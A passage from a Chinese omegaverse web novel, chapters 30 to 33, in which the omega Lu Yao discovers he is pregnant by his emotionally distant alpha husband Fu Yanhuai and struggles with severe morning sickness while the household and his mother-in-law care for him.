每天早上醒来的时候傅晏淮都已经离开,这样一对比鹿遥觉得自己有些懒惰。 鹿遥爬下床,自从分化后傅晏淮对待床上运动一直保持着十分新鲜的态度,但是最近不知道怎么弄的,鹿遥的小腹总是觉得酸胀不舒服。 鹿遥对着镜子扒拉了一下依然倔强翘起来的头发,然后打着哈欠下楼吃早饭。 管家熟门熟路端上早点,同时对鹿遥微红的眼圈表示关切,“您最近睡得不好吗?” 鹿遥最近胃口不太好,他试图让自己看着精神点,“最近睡得很多。” 鹿遥有点不好意思,最近他几乎全部的空闲时间都用来睡觉了,但是每天还是很困,他也不知道为什么。 管家就温声道,“天气冷了,睡得时间久一点也是正常的。” 鹿遥嗯嗯点头,他舀了两勺甜汤放进嘴里,然后就实在吃不下去了。 “我饱了。”厨房特意留的菜鹿遥只吃了两口,但他真的一点也不想吃了。 鹿遥眼巴巴看着管家,“我还是有点困,先上楼去睡觉了。” 管家看着他忧虑道,“您是不是身体不舒服,昨天的早饭和晚饭您都没怎么吃。” 鹿遥老老实实道,“我不饿,就是困。” “刚好这周末要回老宅。”管家提醒道,“不如在这之前请冯医生来看看,也许是忽然降温,有些着凉了。” 鹿遥也觉得自己的头昏昏沉沉的,不知道是不是感冒的前兆,“好,等晚上晏淮回来,我就问问他。” 说完鹿遥忍不住又打了个哈欠,管家看着都不放心了,“您如果有不舒服一定要说,换季流感很严重,动不动就要发烧。” 鹿遥本来就瘦,好不容易养回来一点肉,再生一次病那可怎么好。 鹿遥答道,“好,我知道了。谢谢管家,我先上楼去了。” 管家更担心了,他决定今晚直接就对傅晏淮说鹿遥不舒服,这个样子还是请医生来看了更放心些。 鹿遥的小腹的确很酸,还有点奇怪的坠胀闷痛。他回到卧室缩进被子里,尽管开着空调,鹿遥还是冷得抖了两下。 “忽冷忽热,不会真的要发烧了吧。” 鹿遥用手背贴了贴自己的额头,什么也没试出来。他吸吸鼻子,也没有不通气的症状,嗓子也不痛。 “好奇怪。”鹿遥的眼皮越来越沉,他捂着肚子慢慢蜷缩起来,“没吃东西怎么还会肚子疼…” 这一点轻微的不适抵不过汹涌来袭的困意,鹿遥一觉睡到下午一点才算彻底睡醒了。 醒来时外面在下雨,原本冬天天色就不凉,鹿遥还以为自己直接睡到了晚上。 鹿遥看着手机时间陷入沉思,傅晏淮五点回家,他还说今天白天要在家里试菜单新品的配料,但是看起来休息日就要过去了。 鹿遥终于意识到不对劲,几乎两天没怎么进食的胃开始后知后觉地彰显存在感,鹿遥叹了口气,再次下楼吃饭。 “我觉得我可能是真的要感冒了。”鹿遥歉疚看着管家,在正常吃饭的时间不出现,就要让后厨反复做菜留菜再热菜,鹿遥很不好意思。 管家特意让后厨做了汤,“您的脸看着都没有血色了。” 管家紧紧皱着眉,“汤里放了补品,您先喝这个吧。” 鹿遥没有异议地接过,今天的汤里炖的是乌鸡,肉香混合着热气扑到鹿遥脸上,鹿遥抿了下唇。 这个味道闻起来有点腥,但鹿遥的确已经很饿了。他缓和了一下拿起勺子,忍着反胃尝了一口。 鹿遥非常勉强地咽下那一口汤,然后立刻站起身冲进一楼的公用洗手间。 管家在他身后急忙跟上,鹿遥趴在水池边吐得昏天黑地。 管家面容严肃地对门外的女佣道,“立刻联系傅总,鹿先生身体不舒服,请傅总回家一趟。” 第30章 第 30 章 怀孕 鹿遥抱着抱枕坐在沙发上, 脸色很不好看,冯医生做了简单检测。 鹿遥整个人都恹恹的,刚刚的呕吐过后他浑身上下都难受起来, 以前从没有这样过。 管家贴心地拿了条毯子围在鹿遥身上,鹿遥捧着一杯热水蔫头蔫脑喝了一小口。 冯医生看着刚刚生成的数值很惊讶, 信息素值波动起伏很大,促性腺激素显著上升。 这是omega处于孕初期的表现, 可是鹿遥的腺体… 冯医生又多问了一句, “您这几天还有其他的什么不舒服吗?” 鹿遥迟疑了一下回道, “肚子有点疼, 其余的就没有了。” 冯医生一时沉吟, 傅晏淮比他到得还晚一点, 此时才从门外走进。 傅晏淮刚刚看到鹿遥脚步就停滞一瞬,鹿遥此刻看起来真的很虚弱。 傅晏淮走上前拧眉问道,“这是怎么了?” 早上他走的时候, 鹿遥还没有什么不对劲的地方。 冯医生站起身对傅晏淮道, “刚刚检测了鹿先生的信息素水平值, 发现有一项激素超过了正常范围…” 傅晏淮没看向冯医生,他站到鹿遥身前用手背试了一下鹿遥额头上的温度。 白冷杉混合着冷风的味道凉凉的,鹿遥却有点脸热。 傅晏淮打断他直接道, “是生病了吗。” “不, 不是。”冯医生看了鹿遥一眼,“可能是怀孕了。” 鹿遥震惊抬起头,“您说什么?” 怀孕?不是说他的生殖腔还没有完全发育好吗。 虽然鹿遥对有一个宝宝怀抱期待,不过医生都说过概率很低,过了发情期那两天的信息素动荡时期,鹿遥已经没再想这件事了。 这个消息显然出乎傅晏淮的意料, 他诧异道,“做的是怀孕检测吗?” 冯医生诚实道,“不是,是检查到了孕早期波动。” 鹿遥震惊过后就是欣喜,但傅晏淮的反应又不像是高兴。 他略带无措地仰头看着傅晏淮,傅晏淮对上他的目光后又转开。 这件事很难办又好像很好办,傅晏淮开口问道,“试纸有吗?” “有。” 冯医生拿出验孕试纸给鹿遥,傅晏淮嗯了声,“你先去测,管家直接把车开出来吧,去一趟医院。” 既然有可能是怀孕,那不如直接去医院来得安心。 鹿遥接过试纸,他此刻有些许茫然。 傅晏淮的口气像是许诺,但的确让鹿遥镇定了下来,“不会有事,去吧,我在这等你。” 傅晏淮轻吻了一下鹿遥的额头,鹿遥就抛掉突如其来的纷乱思绪,扬唇对他笑了笑。 鹿遥按照试纸的指引检测了一下,上面写着要等五分钟,鹿遥就靠在一边看着镜子出神。 有一个孩子的话,生活会变成什么样子呢。 镜子里的人看着没什么精神,身形偏瘦小腹依旧平坦,和以往没有任何不同。 鹿遥不知道自己会不会是合格的家长,不过他已经分化成omega,以后的每次发情期也都是傅晏淮陪伴他一起过,那怀孕也不算是太异常的事情。 只是现在可能早了一点。 鹿遥只是忐忑傅晏淮会有什么反应,对于他自己来说,其实没有什么无法接受的地方。 鹿遥回神去看验孕试纸,“两条红色就是阳性…” 试纸上明明白白鲜红色的两条杠,鹿遥没想到颜色会这么重,他眼睛瞪大了一下。 鹿遥心跳很快,他平稳了一下呼吸,尽量没有异常地拿起试纸。 鹿遥出去的时候客厅里只剩下傅晏淮一个人,鹿遥把试纸递给他看。 “说明书上写两条就是有。” 傅晏淮的神情说不上高兴,也不能说不高兴,鹿遥尽量故作无事道,“不过也可能会有不准的情况出现。” 傅晏淮刚刚已经看过了冯医生的信息素值检测结果,他现在已经基本能肯定鹿遥的确怀孕了。 “有没有都可以。” 傅晏淮把试纸放到一边,考虑到鹿遥可能会紧张,傅晏淮安慰他道,“我们去一下医院,如果已经怀孕需要看一下胎儿的发育情况。” 或许是因为孕期,鹿遥的确变得比以前敏感,他勉强笑笑,“这样啊,那你是想要宝宝的吗?” 傅晏淮不想,因为如果有了一个孩子,这段婚姻就会变得更加麻烦。 不过他的确也并没有说谎,有或没有都可以,傅晏淮都能接受。 “孩子不好照顾。”傅晏淮挑了一个鹿遥相对能接受的理由,他直白道,“养孩子不是一件容易的事。” 原来是这样,鹿遥松了口气,“没关系的。” 鹿遥主动凑上前,他试探着轻轻去拉傅晏淮的手指,“我一定会努力照顾好他。” 鹿遥抬眼,带着紧张和期盼对他承诺。 傅晏淮一时沉默,他揉了一把鹿遥的头发。 “好。” 不到一个月,鹿遥又来到了傅家做股东的私立医院,来给他做检查的依然是上次的beta女医生。 何医生看了鹿遥刚刚的信息素检测值,她让鹿遥躺下做成像检查。 直到仪器监测出生命迹象,何医生才终于惊讶道,“未完全发育成熟的生殖腔是不会选择孕育生命的,出于自己的保护机制,身体会选择合适的时机怀孕。这个概率真的很小,不过还是要恭喜傅总和鹿先生,孕囊已经有胎芽了。” 何医生在恭喜两个人,脸上却没有任何高兴的神色,她看向傅晏淮,等他开口。 鹿遥极为认真地看着成像屏幕,与他全然的喜悦和温柔不同,傅晏淮什么反应也没有。 傅晏淮收回目光转过头对何医生问道,“胎儿的发育情况都正常吗。” 何医生低声答道,“最近可能是鹿先生的休息不好,胎儿在生殖腔内的回声频率不稳定,有轻微先兆流产症状。您要注意和鹿先生保持距离,孕期信息素值不稳定,前三月要避免亲密接触和临时标记。” 何医生的话比较委婉,傅晏淮最近临时标记灌入的s级信息素太多,胎儿生长原本就需要汲取鹿遥的信息素,但大量alpha信息素的注入让原本就不稳定的腺体更加脆弱了。 医生和傅晏淮的交谈把鹿遥的注意力从屏幕上拉了下来,傅晏淮没有想到临时标记竟然也会有影响,他拧起眉停顿片刻才道,“好,我知道了。” 何医生在确定了傅晏淮的态度后才走上前对鹿遥叮嘱,“您这两天注意多卧床休息,不要提重物,不要太劳累。我给您开一点孕期需要的补充药物和维生素,您记得按时服用。” 仪器已经从鹿遥的小腹上拿开了,但他还是忍不住抬头又看了一眼已经黑掉的屏幕。 鹿遥从床上坐起来,他伸手悄悄摸了一下肚子,“我会按时吃的。” 鹿遥坐在床边愣愣看着医生对傅晏淮交代其他要注意的东西,这个场景太不真实,像是只存在于鹿遥想象中的场景。 鹿遥低下头盯着自己的小腹,他一时有些晃神。 宝宝在屏幕上看起来像一个小泡泡,好神奇。 一整套检查流程下来并没有花费太长时间,鹿遥再次坐到车上回家时还在恍惚。 “别想太多。” 鹿遥的手摸着有点冷,傅晏淮调了一下空调温度,“既然医生说你需要卧床,你就先暂时先在家休息几天。” 这次鹿遥说不出还要请假的话了,鹿遥很担心孩子的状况,他回神点点头道,“好,那我和时越请假一段时间。” 但鹿遥还是不安,傅晏淮明明没有表现出抗拒,可他就是难以真正平静下来。 鹿遥鼓足勇气靠近他,“下次孕期检查,你还会陪我一起来吗?” 鹿遥并不是真的需要傅晏淮陪他,他只是想得到傅晏淮一个肯定的答案。 “当然。”傅晏淮看着鹿遥的双眼,“既然你想要一个孩子,那么我也就想要。” 傅晏淮放出信息素安抚孕初期心神不宁的omega,鹿遥终于有了双脚踩到实地的回归现实感。 鹿遥甜滋滋地期盼以后,“他一定会很可爱。” 长得像傅晏淮应该会很好,一定很漂亮。 “嗯。”傅晏淮让鹿遥靠着自己,“想吃什么就告诉管家,公司还有事情没有处理完,今天要晚一点回家。不要再在楼下等我了,困了就直接睡觉。” 检测出怀孕的第一天傅晏淮不能陪在自己身边,鹿遥有点失落。不过这是工作,傅晏淮一直都很忙,鹿遥可以理解。 “好。”鹿遥小声道,“那你早点回家。” 这段对话以一个蜻蜓点水的吻结束,傅晏淮把鹿遥送回家后就离开了。 管家见到鹿遥自己回来还有些疑惑,“傅总呢?” “他回去忙工作了。” 鹿遥终于彻底接受了自己已经怀孕的事实,他看着有点激动。 管家连忙问道,“那您…” 鹿遥雀跃又不好意思地道,“我真的怀孕了。” 这次轮到管家怔住,尽管已经有心理准备,管家仍然感慨万千道,“真没想到还能看到傅总有孩子的一天。” 这感觉太离奇了,平常普通的事放在傅晏淮身上就一下匪夷所思起来。 最终管家只能归结于这是爱情的力量,他马上反应过来关切问鹿遥,“那您现在饿不饿,想不想吃点东西?” 鹿遥犹豫片刻,“有一点,可是我担心会吐。” 管家当即道,“那我让厨房做一点清淡的,您先上楼,等等我端到卧室。” 鹿遥想起医生让自己卧床,他破天荒地没有拒绝如此堕落的提议,“那麻烦管家了。” 鹿遥一边暗中发誓等到不难受了一定重新开始努力,一边爬上床脱力躺倒。 好累啊,虽然什么都没干,但是真的好累。 以防自己再次睡着,鹿遥翻到夏时越的联系界面留言。 “时越,你现在还在店里吗?我想和你请一周的假,刚刚去医院检查发现我怀孕了,但是胎儿状况有点不稳定,医生叮嘱我要卧床休息。” 消息刚刚发出去两秒,鹿遥的手机界面立刻显示出来电信息。 鹿遥看着屏幕上夏时越的名字莫名有点心虚,怎么感觉来势汹汹的。【你现在阅读的是 】 30-40 第31章 第 31 章 孕吐 “时越。”鹿遥的声音弱弱的, “你没在忙了吗。” 夏时越听起来很抓狂,“鹿遥!你,你, 你刚刚给我发的什么!你真的怀孕了?就是这次发情期?” 傅晏淮吃什么长大的,虽然说ao结合孕育率会比较高, 但也不至于这么速度吧。 虽然夏时越从来没有明说过,但鹿遥能感觉到夏时越不太喜欢傅晏淮, 鹿遥换了个委婉的方式道, “其实医生也说了可能性很小, 而且怕刺激到腺体, 我也没有吃药, 傅晏淮也没有想到。” 夏时越敏锐道, “你是beta,二次分化才突然变成omega,或许你对omega发情期注意事项不清楚, 可傅晏淮总是知道的。你不能吃药, 但也有alpha特效药啊, 他怎么不吃?” 傅晏淮是不是根本就没放在心上,真想做措施避免有很多很多种办法,可傅晏淮什么都没做。 鹿遥没有想太多, “没有来得及吧, 当时情况的确很慌张。” 夏时越对于鹿遥现在就怀孕感到十分忧虑,但鹿遥应该是高兴的,夏时越忍住剩下想吐槽的话,他叹了口气问道,“那傅晏淮呢,他说什么。” 鹿遥回想了一下, “他…他应该也是喜欢孩子的,不过工作还没有忙完,他先回公司了。” 夏时越对傅晏淮印象更差了,但鹿遥怀孕到底也是一件值得高兴的事,新生命总是会让人对未来带有期盼。 “你有宝宝我其实很开心,我只是不知道傅晏淮能不能做好一个父亲。”夏时越诚实地说出自己的想法,但他仍然真心祝福鹿遥,“你有了自己的孩子,还有新的家庭,以后一定会越来越好的。” “我知道。”鹿遥轻声道,夏时越是在关心他,鹿遥怎么会因为朋友的真心而感到生气,“时越,谢谢你。你不喜欢的话,那我以后就不提起他了。宝宝状况不稳定,我先卧床休息一段时间,等我好了就去找你。” 夏时越当即道,“好,你好好休息,现在omega孕期假期本来就是很长的。如果你觉得无聊接着来也可以,如果不舒服还是多等等比较好,医生不是说你生殖腔还没有完全发育好吗。” 鹿遥缩在被子里低声回道,“好。” 今天的通话结束,鹿遥还是打算等状况稳定就继续去上班。 夏时越的店才刚刚开起来,甜品师的轮值都排好了,鹿遥现在突然不去,岂不是给夏时越添麻烦。 鹿遥看着窗外想了一会乱七八糟的事情,手无意识摸了摸小腹。 其实只有今天肚子的不适感比较强烈,之前的一个月里,鹿遥都没有什么感觉。 不过他的确很容易感到疲惫,但鹿遥没有放在心上。 还好宝宝没事,鹿遥无意识地想,如果因为他自己的不小心伤害到孩子,他一定无法原谅自己。 或许是身体清晰知道了自己在孕育新的生命,鹿遥没有再强迫自己保持清醒,也没有定闹铃。直到管家敲门,他才再次醒来。 “您太长时间没有下楼,我担心您,所以来看看。” 鹿遥脸上还带着被子压出来的红印,他迷迷瞪瞪地看着管家。 管家忍不住笑了笑,“原来是还没有醒。” “没有,也睡得差不多了。” 鹿遥在对话中逐渐清醒,管家询问他道,“那您想吃点东西吗?” “是有一点饿,我找件衣服。” 鹿遥下意识想要掀被子下床,管家连忙拦住他,“医生提醒您要卧床,我拿到卧室里来,不要动了。” 鹿遥终于彻底情绪想起来自己已经怀孕了,“好,麻烦您了。” 鹿遥刚伸出去的手又缩了回来,外面的天已经完全黑了,傅晏淮还没有回来。 “又加班了吗。” 手机并没有消息,鹿遥熄灭屏幕放到一边,除非有很紧迫的事情,否则他不会去主动打扰傅晏淮。 管家在床上支起小桌子,把晚饭摆到上面。都是一盘盘的小碟子,分量不大,看着很精致。 “您太长时间没吃东西了,先喝点汤吧。是素汤,很清爽的。” 鹿遥在管家关切的目光下接过汤盅,汤盅小小的,握在手心里很暖和。 鹿遥试探着尝了一口,然后屏息等了等。 大约是真的饿了,这次鹿遥没有吐,身体良好地接受了这口汤。 管家松了口气,鹿遥小口小口把汤喝光。管家把一碟子小菜往他眼前摆了摆,“不知道您现在口味有没有改变,这个是醋拌的。” 鹿遥喝完汤其实就有点吃不下了,不过想到自己现在的身体,管家送饭上来也是很麻烦,鹿遥夹起来一点送进嘴里。 鹿遥紧皱眉头压下胃里的翻江倒海,他抬头对管家努力笑笑,“挺好吃的。” 味道的确不错,但如果没有那点醋,鹿遥现在一定已经吐出来了。 管家看出鹿遥表情的勉强,他带着担忧问道,“您不舒服了吗。” 鹿遥紧紧闭着嘴,他现在不能说话,如果一张口他可能就会吐。 鹿遥胡乱点点头,食物的味道飘到他鼻尖,鹿遥睡了一觉刚刚恢复血色的嘴唇又有点泛白。 管家凝神迅速将碗碟盖上,但鹿遥还是忍不住直接冲向卧室内的浴室——刚刚喝完汤还没有觉得恶心,但现在的不适感已经压制不住了。 那盅汤在胃里转了一圈就吐了出去,鹿遥漱完口精疲力尽地走出来。 “不好意思,管家。”鹿遥有些歉疚地道,“刚刚还可以忍着的。” 管家叹了口气,“我并没有照顾过孕期的omega,处于孕反期间的孕夫的确需要更专业的厨师团队。” 鹿遥重新坐回床上,管家从自己兜里翻出一块梅子干。 “这是刚刚厨师建议我拿上的。”管家庆幸道,“还好我带了上来,他说自己的妻子怀孕时就很喜欢吃这个。” 鹿遥撕开包装,梅子酸酸的味道冲出来,仍在翻滚的胃的确缓解一些。 鹿遥先喝了口水压一压恶心,然后他谨慎尝了一点点梅子干。 直到那一整个吃完,鹿遥都没有任何不适症状出现,他意犹未尽地看向管家,“还有吗?” 管家看鹿遥喜欢吃这个连忙道,“没有了,既然您喜欢的话那就在家里囤一些。不过这样下去也不是办法,您不能只吃梅子,看来还是要请医生来看看。” “应该不用。”鹿遥犹豫道,“好像怀孕都是这样的,也许过两天就会好了。” 管家迟疑道,“那好吧,也是要和傅总说一下。” 这次鹿遥没有拒绝,不过他口中的‘过两天’,直到过去一周,孕吐也没有丝毫缓解。 鹿遥谨记卧床休息的医嘱,现在他变成了捧着垃圾桶在床边吐。不过他也吃不下什么东西,吐的都是水。 管家这次丝毫不敢再拖,他严肃道,“鹿先生这样可不行,什么都吃不下,还这么难受。” 傅晏淮蹙眉搂着鹿遥,替他慢慢拍拍后背。 这一周鹿遥瘦了不少,发情期后一个月养出来的一点肉又消耗掉了。 “葡萄呢?”傅晏淮看向管家,“拿来。” 鹿遥吐完眼冒金星,傅晏淮替他擦去唇边漱口过的水珠,鹿遥吐得流出了生理性眼泪。 “妈妈来电话了吗?”鹿遥红着眼圈道,“原本今天应该回祖宅的。” 傅晏淮捏开一粒葡萄碰碰鹿遥的嘴唇,“你不用管这些,妈妈知道你不舒服。” 这个葡萄奇酸无比,光是汁水从皮中暴露出来,闻着都让人忍不住流口水。 但这竟然是鹿遥为数不多能吃进去的东西了,傅晏淮低声哄道,“吃一颗,不然胃里不舒服。” 身体不适外加孕期信息素不稳,鹿遥很容易就陷入情绪低落,不过他还是很听话地低头吃掉葡萄。 傅晏淮的手没有拿走,他手还停在鹿遥唇边,“吐。” 鹿遥把葡萄皮和葡萄籽都吐在了傅晏淮手上,傅晏淮扔掉后随意抽了张纸巾擦手,鹿遥闻着白冷杉信息素,忍不住往傅晏淮身上靠。 傅晏淮对管家交代道,“你告诉祖宅今天我们不回去了,再让冯医生来一趟。营养师团队是不是今天就任职了?” “是。今天午饭就是由新的团队制定的,他们都有照顾孕期omega的经验。” 傅晏淮点点头,“去看看做好了没有,直接拿到楼上来。” 管家下楼,鹿遥还趴在傅晏淮肩膀上,他恹恹地道,“原本今天就是打算要回去的。” 文筝听到他怀孕的消息,忽然就展现出了前所未有的关怀。据傅际中所说,文筝对她自己怀孕都没这么上心过,对傅晏淮也从没有这样关怀备至。 鹿遥不舒服,不想从傅晏淮身上离开,傅晏淮的信息素能让他好受一点。 “公司那边基本都处理好了,我在家陪你几天。不回去就不回去,不是什么要紧的事。” 傅晏淮整理了一下鹿遥的头发,鹿遥的焦糖信息素味道变得很淡,需要仔细闻才能闻到一点点。 “原本差不多也到了该去医院复查的日子。”鹿遥还是很沮丧,“不知道宝宝情况怎么样了。” 傅晏淮停顿了一下,他诚实道,“我觉得他的状态应该比你好多了。” 鹿遥被折腾得吃不下睡不好,但每天监测的胎儿胎心听起来都十分有力。 “别管他了。”自从得知鹿遥怀孕后,傅晏淮的耐心就变得很好,和最开始得知他怀孕的平淡截然不同。 “现在最重要的还是吃点东西,你瘦了。” 一周就瘦这么多,孕吐可能还会持续到孕期第四个月,按照这个趋势,鹿遥到那时候会变得很虚弱。 傅晏淮垂眼看着自己怀里很没精神的鹿遥,现在就已经很虚弱了。 “看看今天的午饭怎么样。”傅晏淮抱紧鹿遥,omega喜欢这种把他紧紧搂在怀里的安全感。 鹿遥小声应道,“好。” 傅晏淮心不在焉地看着窗外,如果一直这样不舒服的话,或许应该让文筝来陪陪鹿遥。鹿遥不方便出行,文筝可以来这家里,傅晏淮觉得文筝也很想见鹿遥。 夏时越就算了,现在需要稳妥一点的人。 第32章 第 32 章 家人 管家再一次推车上楼, 考虑到鹿遥现在的身体情况以及过往饮食习惯,放到鹿遥面前的几道小碟子颜色非常干净,肉眼可见地健康、不刺激、有营养。 就是看着没什么食欲。 鹿遥夹起一根青菜放进嘴里, 好不好吃已经不是要紧的事,他只是怕自己又吐出来。 管家紧张等着他彻底咽下去才骤然松了口气, 傅晏淮仔细观察鹿遥的神色,“还合胃口吗?” 鹿遥还是有点不舒服, 但这次不至于吃了直接反胃, 在可以忍受的范围。管家推了杯百香果汁到鹿遥跟前, 鹿遥喝了一口, 这次不适感彻底消失。 鹿遥扭过头对着傅晏淮道, “没有不舒服了。” 鹿遥看起来又乖又软, 傅晏淮的语气不自觉温和下来,“吃不完就放在那,没关系的, 我去给妈妈打个电话。” 鹿遥点点头, 他做了两秒钟心理准备, 然后慎重地继续埋头吃饭。 傅晏淮走到一边,“妈。” 文筝在电话那边很快道,“我正想问问你呢, 怎么今天又不回来了?是鹿遥和孩子…” “他孕期反应比较强烈。”傅晏淮直接道, “或许是因为生殖腔还没有发育完全的缘故。而且胎儿状态也不稳定,医生建议多卧床休息。” 文筝不满道,“那你怎么还非要提要回来一趟,鹿遥听见了岂不是更着急?他现在怎么样了?” 傅晏淮看了眼屋内努力吃饭的鹿遥,他简短道,“一般。” 文筝无语了, 她匪夷所思道,“多说两个字你能怎么样?会拉低你霸总的气质吗?” “大概不会。”傅晏淮的气场是天生的,他把目光从鹿遥身上收回,“您要来陪鹿遥住一段时间吗?” 文筝也正有此意,不过她想了想还是道,“今天我先去看看他,他怀孕后我还没见到他呢。等我到了问问鹿遥的意思,这毕竟是你和鹿遥的家。” 如果鹿遥也喜欢,再叫人把东西都送过来,这些都好说。 “好。”傅晏淮的目的达到,“那就麻烦您了,我先去照顾鹿遥。” 文筝放下手机立刻开始换衣服,傅际中在一旁询问道,“怎么回事?” “鹿遥身体不舒服,医生要他卧床。”文筝懒得和傅际中仔细解释,她意简言赅道,“我去看看他,没什么事的话我就回来。你留在家里吧,人太多也不方便。” 傅际中嘀咕道,“这有什么方便不方便的,不去就不去吧,要他好好休息。” 文筝敷衍道,“鹿遥看见你反而还紧张,再说你又不会照顾人,在家钓鱼吧。” 文筝的话很有道理,傅际中重新埋头照着棋谱下棋,抬眼间他无意识瞥见了桌上的多肉。傅际中抬着棋的手顿住,他沉吟片刻到底还是给傅晏淮发了消息。 “鹿遥怀孕辛苦,我给他一点零花钱,让他留着买点爱吃的。” 眼见文筝要走,傅际中开口道,“把家里发零用钱的卡拿着。” 文筝惊奇停下,“给鹿遥?” 傅际中想起他叹了口气,鹿遥不像傅晏淮这样生来就有得天独厚的地位和财富,是个可怜的孩子,“他身体不舒服,情绪不好的话让傅晏淮有耐心些。” 文筝的笑容就变得温柔许多,“好,我一定告诉他,我走了啊。” 每道菜的份量都不多,但鹿遥还是没吃完,碗里的饭只吃了一小口,菜吃了一些,百香果汁倒是都喝光了。 傅晏淮看鹿遥的脸色又有点白,他放出信息素抱住鹿遥,“累不累,靠一会?” 白冷杉让鹿遥缓解很多,他不自觉地往傅晏淮怀里缩,“一点点。” 鹿遥说这话有点不好意思,因为他这一周明明什么都没有干,今天醒来也只是躺在床上和坐起来,但现在还是很累,听起来好像是故意胡搅蛮缠。 他小声补上一句,“也不是特别累,我缓一缓就好了。” 傅晏淮把鹿遥塞进被子里裹住,管家收走桌子悄悄退出门外。 “你怀孕了,感觉疲惫是正常的。”鹿遥的发丝散落在枕头上,黑亮水润的眼睛安静看着傅晏淮,傅晏淮耐心道,“这不是什么不能说出口的事情,原本你要做的也只是休息。” 傅晏淮对鹿遥并没有任何要求,他当初挑选结婚伴侣的标准就只是性别为beta,不要惹麻烦。 傅晏淮从没有想过要和鹿遥永远持续这段婚姻,鹿遥其实并不适合做傅家的伴侣,但现在… 鹿遥从被子底下伸出手,他胆怯又期盼地轻轻碰傅晏淮的手指,“我知道,我会照顾好自己和宝宝的。” 傅晏淮面上没有任何异常,他垂下眼握住鹿遥的手放回被子里,“睡吧。” 他不能和其他人进行完全标记,所以这个孩子或许就会是他唯一的继承人。 傅晏淮看着鹿遥闭着眼睡觉的侧颜,做伴侣鹿遥难以胜任自己所处的位置,所有的酒会晚宴傅晏淮都没有带他出席过,两人结婚的消息也没有放出去。 做情人,鹿遥平淡到乏味。 傅晏淮在寻找一个适合给鹿遥归类的头衔,或许孩子的爸爸是最恰当的。 文筝到时鹿遥还没有醒,楼下只坐着傅晏淮。 文筝抬头看看楼上,“鹿遥呢?” “在睡觉。”傅晏淮难得没有在看报表,他随手点开遥控器,大屏幕上投影出上次鹿遥没看完的电影。 文筝松了口气,她坐到傅晏淮旁边,“刚刚来的时候我问过何医生了,如果胎儿状况很不好就要到医院用药强制卧床保胎,不过鹿遥的情况不算特别糟,还是孕前期不稳定的缘故。” 傅晏淮回忆了一下鹿遥这一周的情况,“冯医生每天都来,一切正常,就是他身体一直不舒服。” 文筝跟着担忧起来,“既然他难受,那你就多在家陪他。你爸让我告诉你,鹿遥不舒服,情绪不好是正常的,你要多哄着,听到没有?” 鹿遥很好哄,即使是在现在状态这么不好的时候,也很听傅晏淮的话。 “知道。” 傅晏淮低头看了眼时间,“已经睡了快三个小时了,我上去看看。” 文筝当即道,“嗯,你快去。” 文筝准备等鹿遥醒了她单独和鹿遥说话,毕竟傅际中还给了张卡呢。 这是以前傅家给傅晏淮准备的,每月零花钱按时打在卡上。不过傅晏淮读书的时候就已经自己试着做了点小生意,毕业直接进入傅氏集团,这张卡只用到高中就没再用了。 如今给鹿遥正好,就当哄孩子玩了。 鹿遥已经醒了,只是还有点迷糊,他动了动身体,换成平躺的姿势。 身体并不沉重,这样醒来的感觉好像和以往并没有任何差别。鹿遥慢慢坐起来,小心用被子围住小腹。 宝宝现在好安静,但胎心监测的时候声音却很响亮。 “宝宝,你也睡着了吗。” 鹿遥摸摸肚子,眼中满是温柔,“好想快点见到你啊。” 傅晏淮推门进来刚好听到最后的这句话,他什么也没有说,只是沉默走上前。 鹿遥听到声音抬起头,或许是吃了点东西,现在他精神很好,“晏淮。” 鹿遥一见到傅晏淮眼睛就亮亮的,傅晏淮把手贴到鹿遥小腹上,手掌温度灼热,鹿遥的肚子暖暖的。 “看来睡得还不错。”鹿遥现在脸上恢复血色,傅晏淮稍稍放下心,“妈妈来了。” 鹿遥显然愣住,“因为我们今天没有回去吗?” 鹿遥头发乱乱的,傅晏淮忍不住又揉了一把,“不是,你身体不舒服,她担心你。想不想吃点东西,现在感觉怎么样?” 最近鹿遥身边的人最常说的一句话就是想不想吃点东西,鹿遥这次的回答依然也和以往一样,“我还不是很饿。” 文筝也在,鹿遥哪里还想吃东西,“我换一件衣服,妈妈吃过午饭了吗?” “老宅一日三餐很规律。”傅晏淮站起身,“要换什么?” “就…随便穿个衬衫什么的就好。”鹿遥身上还穿着睡衣,“等等,我马上就下楼。” 傅晏淮按住鹿遥肩膀,“我去拿,别乱动。” 傅晏淮没有拿衬衫,而是自己去找了一套宽松的休闲服,又十分顺手地帮鹿遥换上。 鹿遥身上的焦糖味道还是淡淡的,但傅晏淮鼻尖凑近鹿遥颈侧时还是停顿许久。 “许医生说了什么时候才能临时标记吗?” 完全标记不行,但孕期临时标记总可以。傅晏淮的嗓音莫名变得沙哑,鹿遥的脸腾地红起来。 “她没有说。”鹿遥不敢动,他紧张提醒傅晏淮,“但是大约怎么都要等到宝宝状态稳定之后,冯医生也说我现在的信息素水平值忽高忽低。” 傅晏淮只好遗憾离远了点,他松松抱起鹿遥出门,鹿遥连忙道,“妈妈还在楼下,我自己走就可以。” “到电梯那里把你放下来。”傅晏淮安抚鹿遥,“妈妈要我好好照顾你。” “这样啊。” 鹿遥没有再挣动,这样被用心对待的感觉很好,鹿遥很喜欢。 傅晏淮是很好很好的人,他和傅晏淮在一起,又有了孩子,好像还多了爸爸妈妈。 鹿遥觉得自己很幸运,好像从前有缺憾的一切都因为傅晏淮而填满了。 鹿遥慢慢走到沙发边上,文筝见到他一把把他扶住上上下下地看了一遍。 “瘦了,瘦了好多。” 文筝心疼了,她拉着鹿遥坐下,“真是的,发情期过后也没来得及好好养一养身体…” 鹿遥脸上没什么血色,但情绪看着很平和,神态也是高兴的。 “我没事,妈妈,也没有特别不舒服。” 文筝心软软地把鹿遥搂住,“怎么可能会没有不舒服呢,这孩子。” 尽会哄她放心。 第33章 第 33 章 四月 文筝在鹿遥身上找回了久违的母爱, 她的温情和关心对着傅晏淮实在是释放不出来,鹿遥很好地填补了这份空白。 傅晏淮知道鹿遥其实也很喜欢文筝这样对待他,他没有打扰两人, 随便坐到一边处理邮件。 文筝把卡塞给鹿遥,“你爸爸给你的, 拿着,饿了买零食吃。” 这笔巨款应该可以开零食公司, 鹿遥不清楚里面有多少钱, 但是拿出来的是一张卡, 他下意识地不敢接。 “不用了, 妈妈, 这太多了, 我不能收。” 文筝故意板起脸,“不听妈妈的话?” 文筝把卡直接放到鹿遥的上衣兜里,“好了。许医生有没有说下次去医院复查的时间?” 后半句话文筝是对着傅晏淮问的, 傅晏淮闻声道, “一周之后。” 那看来情况还算稳定, 文筝稍稍放下心。鹿遥脸色有点白,她凑近温柔问道,“你不舒服, 妈妈这几天在家里陪着你怎么样?等到你好一些可以回甜品店工作我再走, 不然我也不放心。” 